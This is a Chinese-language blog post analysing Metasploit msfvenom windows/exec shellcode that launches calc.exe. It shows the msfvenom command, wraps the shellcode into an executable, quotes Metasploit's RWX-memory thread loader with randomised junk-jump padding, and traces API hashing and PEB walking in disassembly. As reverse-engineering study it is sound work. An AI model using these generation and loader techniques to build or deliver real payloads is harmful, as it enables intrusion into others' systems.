msfvenom生成的windows/exec shellcode分析

  1. 前言
  2. 分析过程
  3. 参考链接

前言

由于之前就想分析msfvenom生成的payload。经过前后几次波折
第三次分析后才看懂了不少。

分析过程

1.msfvenom生成shellcode
ps:用x86更好的分析

msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin

2.将shellcode放入一个PE里
准备工具:

  • yasm.exe
  • GoLink.exe

将shellcdoe.bin和shellcode.asm放在同一个目录
shellcode.asm

Global Start
SECTION 'foo' write,execute,read

Start:
incbin "shellcode.bin"

生成obj后在生成exe

yasm.win32.exe -f win32 -o shell.obj shellcode.asm
Golink /ni /entry Start shell.obj

3.利用IDA分析

loc_401088函数分析

msf生成payload的模板对照分析

提一点:msf生成的shellcode模板对应的API是hash( "kernel32.dll", "GetVersion" )
计算公式:

msf的windows API方法:
DLL HASH+API HASH=HASH
如果知道最终hash求对应的API名称,计算公式:HASH-DLL HASH=API HASH
例如:
kernel32.dll HASH->92AF16DA
Winexec HASH->F4C07457

x86截取最后8位
最终hash位:92AF16DA+F4C07457=876F8B31
得到hash反求API hash:876F8B31-92AF16DA=F4C07457
对应API和DLL 的HASH参考:https://github.com/hidd3ncod3s/WindowsAPIhash

https://github.com/rapid7/metasploit-framework/blob/4a380771d3a18011af153e47e1d08a4a83feb452/lib/msf/util/exe.rb#L1803

  def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
    stub_block = Rex::Payloads::Shuffle.from_graphml_file(
      File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
      arch: ARCH_X86,
      name: 'api_call'
    )

    stub_exit = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: None.
    ; Clobbers: EAX, EBX, (ESP will also be modified)
    ; Note: Execution is not expected to (successfully) continue past this block
    exitfunk:
      mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
      push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
      call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
      cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
      jl goodbye       ; Then just call the exit function...
      cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
      jne goodbye      ;
      mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
    goodbye:                 ; We now perform the actual call to the exit function
      push byte 0            ; push the exit function parameter
      push ebx               ; push the hash of the exit function
      call ebp               ; call EXITFUNK( 0 );
    ^

    stub_alloc = %Q^
      pushad                 ; Save registers
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    delta:                   ;
    #{stub_block}
    start:                   ;
      pop ebp                ; Pop off the address of 'api_call' for calling later.
    allocate_size:
       mov esi,#{code.length}
    allocate:
      push byte 0x40         ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push esi               ; Push the length value of the wrapped code block
      push byte 0            ; NULL as we dont care where the allocation is.
      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      mov ebx, eax           ; Store allocated address in ebx
      mov edi, eax           ; Prepare EDI with the new address
      mov ecx, esi           ; Prepare ECX with the length of the code
      call get_payload
    got_payload:
      pop esi                ; Prepare ESI with the source to copy
      rep movsb              ; Copy the payload to RWX memory
      call set_handler       ; Configure error handling
    exitblock:
    #{stub_exit}
    set_handler:
      xor eax,eax
;     push dword [fs:eax]
;     mov dword [fs:eax], esp
      push eax               ; LPDWORD lpThreadId (NULL)
      push eax               ; DWORD dwCreationFlags (0)
      push eax               ; LPVOID lpParameter (NULL)
      push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
      push eax               ; SIZE_T dwStackSize (0 for default)
      push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
      push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
      call ebp               ; Spawn payload thread
      pop eax                ; Skip
;     pop eax                ; Skip
      pop eax                ; Skip
      popad                  ; Get our registers back
;     sub esp, 44            ; Move stack pointer back past the handler
    ^

    stub_final = %Q^
    get_payload:
      call got_payload
    payload:
    ; Append an arbitrary payload here
    ^


    stub_alloc.gsub!('short', '')
    stub_alloc.gsub!('byte', '')

    wrapper = ""
    # regs    = %W{eax ebx ecx edx esi edi ebp}

    cnt_jmp = 0
    cnt_nop = 64

    stub_alloc.each_line do |line|
      line.gsub!(/;.*/, '')
      line.strip!
      next if line.empty?

      if cnt_nop > 0 && rand(4) == 0
        wrapper << "nop\n"
        cnt_nop -= 1
      end

      if cnt_nop > 0 && rand(16) == 0
        cnt_nop -= 2
        cnt_jmp += 1

        wrapper << "jmp autojump#{cnt_jmp}\n"
        1.upto(rand(8)+1) do
          wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
          cnt_nop -= 1
        end
        wrapper << "autojump#{cnt_jmp}:\n"
      end
      wrapper << line + "\n"
    end

start函数对应分析

由于静态call ebp这种找不到对应的地址,通过od来跟踪到loc_401088函数里的call ebp
1.首先栈顶最上放出栈到ebp
2.然后push 1
3.在从堆栈里把calc.exe赋予到eax -> lea eax,[ebp+0B2h]

4.push eax,将calc.exe写入到堆栈
5.push Winexec对应的函数
6.然后call栈顶

地址跳转到00401006地址

PEB->Ldr->

 mov     edx, fs:[eax+30h] ; 寻找PEB地址
foo:0040100F                 mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
foo:00401012                 mov     edx, [edx+14h]  ; ModuleEntryPoint
foo:00401015
foo:00401015 loc_401015:                             ; CODE XREF: start+86↓j
foo:00401015                 mov     esi, [edx+28h]  ; 遍历获取某些值的区段
foo:00401018                 movzx   ecx, word ptr [edx+26h]
 xor     edi, edi        ; 清空EDI寄存器
 lodsb                   ; 将SI的存储值赋予AL
foo:0040101E                                         ; mov eax,[esi]
foo:0040101E                                         ; df=1;SI+1 else SI-1

寻找对应API的函数

0040101E   > /AC            lods byte ptr ds:[esi]
0040101F   . |3C 61         cmp al,0x61
00401021   . |7C 02         jl short shell.00401025
00401023   . |2C 20         sub al,0x20
00401025   > |C1CF 0D       ror edi,0xD
00401028   . |01C7          add edi,eax
0040102A   .^\E2 F2         loopd short shell.0040101E
0040102C   .  52            push edx
0040102D   .  57            push edi
0040102E   .  8B52 10       mov edx,dword ptr ds:[edx+0x10]          ;  shell.00400000
00401031   .  8B4A 3C       mov ecx,dword ptr ds:[edx+0x3C]
00401034   .  8B4C11 78     mov ecx,dword ptr ds:[ecx+edx+0x78]
00401038   .  E3 48         jecxz short shell.00401082
0040103A   .  01D1          add ecx,edx
0040103C   .  51            push ecx
0040103D   .  8B59 20       mov ebx,dword ptr ds:[ecx+0x20]
00401040   .  01D3          add ebx,edx
00401042   .  8B49 18       mov ecx,dword ptr ds:[ecx+0x18]
00401045   >  E3 3A         jecxz short shell.00401081
00401047   .  49            dec ecx
00401048   .  8B348B        mov esi,dword ptr ds:[ebx+ecx*4]
0040104B   .  01D6          add esi,edx
0040104D   .  31FF          xor edi,edi
0040104F   >  AC            lods byte ptr ds:[esi]
00401050   .  C1CF 0D       ror edi,0xD
00401053   .  01C7          add edi,eax
00401055   .  38E0          cmp al,ah
00401057   .^ 75 F6         jnz short shell.0040104F
00401059   .  037D F8       add edi,dword ptr ss:[ebp-0x8]
0040105C   .  3B7D 24       cmp edi,dword ptr ss:[ebp+0x24]
0040105F   .^ 75 E4         jnz short shell.00401045

最后得到的API函数地址赋于eax

00401075   .  894424 24     mov dword ptr ss:[esp+0x24],eax          ;  kernel32.WinExec

最后jmp eax对应的地址执行

执行完WinExec函数后,执行GetVersion判断退出操作

简写成一个过程:
PEB->ModuleEntryPoint->找到Kernel32.dll->WinExec->lea eax->call->Exit

参考链接

https://github.com/rapid7/metasploit-framework/blob/4a380771d3a18011af153e47e1d08a4a83feb452/lib/msf/util/exe.rb#L1803
https://www.anquanke.com/post/id/85386
http://9b113d1a.blogspot.com/2017/03/les-hash-composite-couplemodulefunction.html
https://my.oschina.net/u/4593082/blog/4418768


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:msfvenom生成的windows/exec shellcode分析

本文作者:九世

发布时间:2021-02-19, 12:40:56

最后更新:2021-02-19, 16:46:52

原始链接:http://422926799.github.io/posts/c86ff70d.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录